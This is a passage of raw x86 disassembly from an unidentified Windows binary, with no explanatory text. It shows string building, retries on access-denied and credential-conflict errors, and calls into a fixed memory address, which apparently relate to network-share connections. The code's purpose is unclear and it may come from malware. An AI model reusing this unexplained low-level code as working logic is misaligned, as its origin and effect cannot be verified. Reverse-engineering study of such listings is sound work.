		mov	[esp+10h], edx
		mov	dx, word_444E88
		mov	[esp+12Ch], ecx
		stosw
		stosb
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [esp+132h]
		mov	[esp+130h], dx
		rep stosd
		mov	ecx, [esp+360h]
		push	0FFh
		stosw
		lea	eax, [esp+18h]
		xor	edi, edi
		push	eax
		push	0FFFFFFFFh
		push	ecx
		push	edi
		push	edi
		call	near ptr 27D0000h
		nop
		mov	esi, dword_511AB8
		lea	edx, [esp+14h]
		lea	eax, [esp+12Ch]
		push	edx
		push	eax
		call	esi	; wcscat
		lea	ecx, [esp+10h]
		lea	edx, [esp+134h]
		push	ecx
		push	edx
		call	esi	; wcscat
		mov	esi, [esp+374h]
		add	esp, 10h
		lea	eax, [esp+12Ch]
		push	edi
		push	offset dword_50DB4C
		push	offset dword_50DB4C
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+14h], eax
		mov	[esi+1Ch], edi
		call	sub_43829E
; ---------------------------------------------------------------------------
		cmp	eax, 5
		jz	short loc_41C2C8
		cmp	eax, 4C3h
		jnz	short loc_41C2D1


loc_41C2C8:				; CODE XREF: ___:0041C2BFj
		push	edi
		push	edi
		push	edi
		push	esi
		call	sub_43829E
; ---------------------------------------------------------------------------


loc_41C2D1:				; CODE XREF: ___:0041C2C6j
		pop	edi
		cmp	eax, 5
		pop	esi
		jz	short loc_41C2E8
		cmp	eax, 4C3h
		jz	short loc_41C2E8
		mov	al, 1
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------


loc_41C2E8:				; CODE XREF: ___:0041C2D6j
					; ___:0041C2DDj
		xor	al, al
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41C350:				; CODE XREF: ___:00401EE7j
		sub	esp, 354h
		mov	eax, off_444E8C
		mov	ecx, off_444E90
		mov	[esp+0], eax
		mov	al, byte_448F30
		push	esi
		push	edi
		mov	[esp+0Ch], ecx
		mov	[esp+14h], al
		mov	ecx, 45h
		xor	eax, eax
		lea	edi, [esp+15h]
		mov	edx, dword_444E94
		rep stosd
		mov	ecx, off_444E84
		mov	[esp+10h], edx
		mov	dx, word_444E88
		mov	[esp+12Ch], ecx
		stosw
		stosb
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [esp+132h]
		mov	[esp+130h], dx
		rep stosd
		mov	ecx, [esp+360h]
		push	0FFh
		stosw
		lea	eax, [esp+18h]
		push	eax
		push	0FFFFFFFFh
		push	ecx
		push	0
		push	0
		nop
		call	near ptr 27D0000h
		mov	esi, dword_511AB8
		lea	edx, [esp+14h]
		lea	eax, [esp+12Ch]
		push	edx
		push	eax
		call	esi	; wcscat
		lea	ecx, [esp+10h]
		lea	edx, [esp+134h]
		push	ecx
		push	edx
		call	esi	; wcscat
		add	esp, 10h
		lea	eax, [esp+12Ch]
		push	0
		push	0
		push	eax
		call	sub_4382A4
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_41C438
		mov	esi, dword_5118D8


loc_41C41C:				; CODE XREF: ___:0041C436j
		push	7D0h
		call	esi
		push	0
		lea	ecx, [esp+130h]
		push	0
		push	ecx
		call	sub_4382A4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41C41C


loc_41C438:				; CODE XREF: ___:0041C414j
		pop	edi
		mov	al, 1
		pop	esi
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41C490	proc near		; CODE XREF: sub_401D93j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41C490
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	0Ch
		push	4
		push	4Fh
		push	10h
		push	14h
		lea	eax, [esp+5Ch+var_3C]
		push	6
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+0BCh]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_41C490	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		push	10h
		push	14h
		lea	edx, [esp+24h]
		push	6
		push	edx
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+118h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	15h
		push	4Fh
		push	10h
		push	14h
		lea	ecx, [esp+20h]
		push	6
		push	ecx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+0EAh]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	4
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	eax, [esp+24h]
		push	8
		push	eax
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	edx, [esp+28h]
		push	8
		push	edx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		push	eax
		lea	eax, [esi+60h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	14h
		push	1
		push	4
		push	10h
		push	15h
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	ecx, [esp+4Ch]
		push	8
		push	ecx
		call	sub_4019C4
		add	esp, 34h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 5
		call	sub_4017EE
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C710	proc near		; CODE XREF: sub_401064j

var_111		= byte ptr -111h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_F4		= byte ptr -0F4h
var_DC		= byte ptr -0DCh
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_94		= byte ptr -94h
var_7C		= byte ptr -7Ch
var_67		= byte ptr -67h
var_52		= byte ptr -52h
var_3D		= byte ptr -3Dh
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_41C710
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 108h
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		lea	ecx, [esp+124h+var_10C]
		call	sub_40142E
		lea	ecx, [esp+124h+var_DC]
		mov	[esp+124h+var_4], 0
		call	sub_40142E
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_40142E
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_40142E
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_40142E
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_401B4A
		mov	esi, [esp+124h+arg_0]
		mov	bl, 5
		lea	ecx, [ebp+8Eh]
		mov	byte ptr [esp+124h+var_4], bl
		lea	edi, [esi+7Eh]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		lea	ecx, [ebp+4]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41C93C
		push	offset asc_444600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 6
		push	ecx
		mov	ecx, eax
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		push	offset asc_444C6C ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401AAF
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 7
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 8
		jz	short loc_41C8CC
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41C8CE
; ---------------------------------------------------------------------------


loc_41C8CC:				; CODE XREF: sub_41C710+1AFj
		xor	edi, edi


loc_41C8CE:				; CODE XREF: sub_41C710+1BAj
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FDC
		lea	eax, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	eax
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 0
		mov	cl, [esi+93h]
		mov	[edi+92h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], dl
		call	sub_4013DE


loc_41C93C:				; CODE XREF: sub_41C710+C0j
		lea	ecx, [ebp+60h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CABB
		push	offset asc_444600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 9
		push	ecx
		mov	ecx, eax
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		push	offset asc_444C6C ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401AAF
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 0Ah
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 0Bh
		jz	short loc_41CA4B
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41CA4D
; ---------------------------------------------------------------------------


loc_41CA4B:				; CODE XREF: sub_41C710+32Ej
		xor	edi, edi


loc_41CA4D:				; CODE XREF: sub_41C710+339j
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FDC
		lea	eax, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	eax
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 1
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 0
		mov	cl, [esi+93h]
		mov	[edi+92h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], dl
		call	sub_4013DE


loc_41CABB:				; CODE XREF: sub_41C710+23Fj
		lea	ecx, [ebp+32h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CCF6
		push	offset asc_444600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 0Ch
		push	ecx
		mov	ecx, eax
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		push	offset asc_444C6C ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401AAF
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 0Dh
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset word_44955A
		mov	ecx, eax
		mov	byte ptr [esp+128h+var_4], 0Eh
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		setz	[esp+124h+var_111]
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jz	short loc_41CC5E
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014BA
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_41D312
; ---------------------------------------------------------------------------


loc_41CC5E:				; CODE XREF: sub_41C710+4D6j
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 0Fh
		jz	short loc_41CC86
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41CC88
; ---------------------------------------------------------------------------


loc_41CC86:				; CODE XREF: sub_41C710+569j
		xor	edi, edi


loc_41CC88:				; CODE XREF: sub_41C710+574j
		lea	ecx, [esp+124h+var_10C]
		mov	byte ptr [esp+124h+var_4], bl
		push	ecx
		lea	ecx, [edi+11h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 1
		mov	byte ptr [edi+91h], 0
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013DE


loc_41CCF6:				; CODE XREF: sub_41C710+3BEj
		lea	ecx, [ebp+0BCh]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CE9B
		push	offset asc_444600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 10h
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FDC
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 11h
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 12h
		jz	short loc_41CE0E
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41CE10
; ---------------------------------------------------------------------------


loc_41CE0E:				; CODE XREF: sub_41C710+6F1j
		xor	edi, edi


loc_41CE10:				; CODE XREF: sub_41C710+6FCj
		lea	edx, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	edx
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	eax, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_C4]
		push	ecx
		lea	ecx, [edi+65h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_94]
		lea	ecx, [edi+50h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 1
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013DE


loc_41CE9B:				; CODE XREF: sub_41C710+5FCj
		lea	ecx, [ebp+118h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41D040
		push	offset asc_444600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 13h
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FDC
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 14h
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 15h
		jz	short loc_41CFB3
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41CFB5
; ---------------------------------------------------------------------------


loc_41CFB3:				; CODE XREF: sub_41C710+896j
		xor	edi, edi


loc_41CFB5:				; CODE XREF: sub_41C710+8A1j
		lea	edx, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	edx
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	eax, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_C4]
		push	ecx
		lea	ecx, [edi+65h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_94]
		lea	ecx, [edi+50h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 1
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 1
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013DE


loc_41D040:				; CODE XREF: sub_41C710+7A1j
		lea	ecx, [ebp+0EAh]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41D2A1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 16h
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FDC
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 17h
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+128h+var_F4]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	offset word_44955A
		mov	ecx, eax
		mov	byte ptr [esp+128h+var_4], 18h
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		setz	[esp+124h+var_111]
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jz	short loc_41D1EC
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014BA
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_41D312
; ---------------------------------------------------------------------------


loc_41D1EC:				; CODE XREF: sub_41C710+A64j
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 19h
		jz	short loc_41D214
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41D216
; ---------------------------------------------------------------------------


loc_41D214:				; CODE XREF: sub_41C710+AF7j
		xor	edi, edi


loc_41D216:				; CODE XREF: sub_41C710+B02j
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_94]
		push	ecx
		lea	ecx, [edi+50h]
		call	sub_401FDC
		lea	edx, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	edx
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 1
		mov	byte ptr [edi+91h], 1
		mov	al, [esi+93h]
		mov	[edi+92h], al
		mov	cl, [esi+94h]
		mov	[edi+93h], cl
		mov	ecx, edi
		call	sub_4013DE


loc_41D2A1:				; CODE XREF: sub_41C710+116j
					; sub_41C710+295j ...
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014BA
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1


loc_41D312:				; CODE XREF: sub_41C710+549j
					; sub_41C710+AD7j
		mov	ecx, [esp+124h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
